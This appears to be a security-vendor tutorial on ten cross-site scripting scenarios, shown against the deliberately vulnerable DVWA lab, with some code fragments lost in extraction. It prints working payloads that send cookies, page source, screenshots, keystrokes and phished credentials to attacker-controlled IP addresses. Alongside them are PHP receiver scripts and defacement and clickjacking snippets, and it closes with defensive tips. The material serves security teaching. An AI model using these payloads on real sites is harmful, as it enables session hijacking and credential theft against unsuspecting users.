10 Practical Scenarios For XSS Attacks
10 Practical Scenarios For XSS Attacks
As you know, browsers can display HTML and execute JavaScript. So, if
the application does not escape special characters in the input/output
and reflects user input as-is back to the browser, an adversary
can successfully launch a cross-site scripting attack.
All the real-world scenarios I’ll show you fall under the top 3 most
common types of cross-site scripting attacks described below.
Some of the attack scenarios you’ll see below belong to this type of
attack.
So, if you have one request, it’s a reflected XSS attack. If you can store
the payload from the first request to help with the second one, it’s a
persistent XSS attack.
So what sets this type of XSS attack apart from the others?
And doesn’t the application code always originate from the server-side?
Yes to all of the above! The key difference between DOM and stored or
reflected XSS attacks is that the root cause of the issue resides in how
the browser JavaScript handles the user input. For stored and reflected
XSS attacks, the root cause is how the server handles the input.
While the reflected XSS attack is considered the most frequent and the
persistent XSS attack the most dangerous, the DOM-based attack is the
stealthiest.
Now that we got the theoretical part out of the way, let’s get our hands
dirty!
After you start the container, log in with the credentials admin:
password and click “Create / Reset Database”.
Following a successful app login, the server will send you a session
cookie via the set-cookie header. If you want to access any page within
the application or submit a form, the cookie (now stored in the browser)
is also included in all the requests sent to the server. This way, the
server will know who you are.
So, if you inject the following payload into our name parameter, the
vulnerable page will display the current cookie value in an alert box:
http://localhost:81/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>
To steal the cookies, provide a payload to send the cookie value to the
attacker-controlled website.
The following payload creates a new Image object in the DOM of the
current page and sets the src attribute to the attacker’s website. As a
result, the browser makes an HTTP request to this external website
( 192.168.149.128 ) with the URL containing the session cookie.
<script>
new Image().src="http://192.168.0.252:82/bogus.php?output="+document.cookie;
</script>
So here is the attack URL which will redirect the cookies to our server:
http://localhost:81/vulnerabilities/xss_r/?name=<script>new
Image().src="http://192.168.0.252:82/bogus.php?output="+document.cookie;</script>
If you access any internal page of the application and append the
cookie value above to the request, you can see the page as the victim,
using their session (without knowing the username and password).
Basically, you take over the user’s session.
fetch('http://localhost:81/vulnerabilities/xss_s/', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'txtName=xss&mtxMessage=xss&btnSign=Sign+Guestbook'
})
</script>
Here’s what the request looks like in the browser and intercepted in
Burp:
A
nd finally, we can see that the attack worked by going to the “XSS
(Stored)” page:
They could set a new password, particularly for users who logged in to
the platform via third-party apps. Luckily there is no known account
takeover, and the vulnerability has been disclosed on HackerOne.
The payload below will inject a form with the message Please login to
proceed, along with username and password input fields.
When accessing the link below, the victim enters their credentials in
the injected form. Note that you can modify the payload to make it look
like a legitimate form as required.
http://localhost:81/vulnerabilities/xss_r/?name=<h3>Please login to proceed</h3> <form
action=http://192.168.0.252:82>Username:<br><input type="username"
name="username"></br>Password:<br><input type="password"
name="password"></br><br><input type="submit" value="Logon"></br>
Once the user enters their credentials and clicks the Logon button, the
request is sent to the attacker-controlled server. Here’s how:
You
can see the credentials the user has (pentest: pentest) on the receiving
server.
key = String.fromCharCode(evt.charCode)
if (key) {
http.send("key="+param);
<?php
if(!empty($_POST['key'])) {
fwrite($logfile, $_POST['key']);
fclose($logfile);
?>
You can start a server by using a recent enough version of PHP:
php -S 127.0.0.1:8000
Now you need to call the vulnerable page with the payload from our
server:
http://localhost:81/vulnerabilities/xss_r/?name=<script
src="http://192.168.128.228:8000/xss.js">
Once the page loads the script, a new request is fired with every stroke
of any key.
The value of the parameter key is written to the data.txt file, as shown
in the screenshot below.
For this scenario, you need to create a JavaScript file on the attacker-
controlled server. The file contains logic that takes a screenshot of the
page where the script is running. You can use the script from this
GitHub repository.
Then you need to create a PHP file on the attacker’s server, which
saves the content of the png parameter into the test.png file.
<?php
$data = $_POST['png'];
$f = fopen("test.png", "w+");
fputs($f, base64_decode($data));
fclose($f);
Now inject the JavaScript code into the vulnerable page by tricking the
user to access the following URL:
http://localhost:81/vulnerabilities/xss_r/?name=<script
src="http://192.168.0.252:8000/screenshot.js">
Once the JavaScript file is loaded, the script sends the data
in base64 format to the saveshot.php file, which writes the data into
the test.png file. If you open the test.png file, you can see the screen
capture of the vulnerable page.
How to get the HTML source code
Another way to steal the page content is to get the HTML source code
using getElementById . Here is a payload that gets the innerHTML of
the guestbook_comments element and sends it to the attacker.
<script>new Image().src="http://192.168.0.252:82/bogus.php?
output="+document.getElementById('guestbook_comments').innerHTML;</script>
You can also fetch the entire page source of the page using the
following payload:
<script>new Image().src="http://192.168.0.252:82/bogus.php?
output="+document.body.innerHTML</script>
D
ecoding the received data in the Burp Decoder gives us the cleartext
page source of the vulnerable page. You can see the Guestbook
comments below.
Fortunately, no attacks exploiting this XSS were spotted in the wild and
security researchers disclosed the vulnerability ethically.
Let’s use the trusted DVWA again to show how this attack works.
The Guestbook section for stored XSS is reminiscent of old forums or
message boards.
In this case, our focus is CSS. Within the stored XSS page, enter any
username and insert the following code into the Guestbook textarea :
<body style="background-color:red;">
In 2018, the British NHS fell victim to a similar attack. Although it was
only an inconvenience and removed swiftly, such attacks always
impact the reputation of the institution or company.
In the aftermath of this incident, there were concerns about the safety
of patient data.
I already talked about the concept of inserting IPs into the src attribute
of an HTML tag. However, you can also add ports to them.
You can use <script> and JavaScript code in a real-life attack, but, in
this particular example, use the <img> src attribute to get an image
from an HTTP server that also runs alongside DVWA.
XSS vulnerabilities can lead to such attacks. We’ll use the stored XSS
page from the DVWA again to hijack the Sign Guestbook button.
Just make sure the path is small enough and doesn’t trigger the
character limit.
After that, click on the Sign Guestbook button again to get this:
Clickjacking can be much more malicious than this, if, for example, you
use it to trigger an XSS that requires user interaction.
They hijacked the click event on the payment page redirecting the
payment information to their servers, named similarly - baways.com.
To launch this attack, reuse the XSS from the clickjacking scenario, but,
this time, create a new element. Using a deceptive advertisement that
simply says “click me”, triggers a typical alert that confirms the exploit
worked.
const button = document.createElement("button");
button.style.fontSize = "24px";
button.style.position = "absolute";
button.style.top = "10%";
button.style.left = "50%";
document.body.insertBefore(button, firstChild);
This XSS attack impacted the “Coming Soon Page & Maintenance
Mode” WordPress plugin, specifically versions 1.7.8 or older.
Unauthenticated users could exploit it by injecting JavaScript code into
the HTML page.
If you need help, our custom Website Vulnerability Scanner can detect
if the CSP header is missing, as well as certain types of XSS attacks.
Avoid eval()
This principle holds true across various aspects of programming and it
helps to keep it in mind.
Avoid the eval() function unless you really know what you’re doing.
Misusing it can lead to XSS vulnerabilities.
The even bigger problems are implicit eval() calls. These are innocuous-
looking calls that actually call eval(). ESLint has rules disallowing the
methods that do implicit eval() .
cookie = cookies.SimpleCookie()
cookie['my_cookie'] = 'my_value'
cookie['my_cookie']['httponly'] = True
print(cookie.output())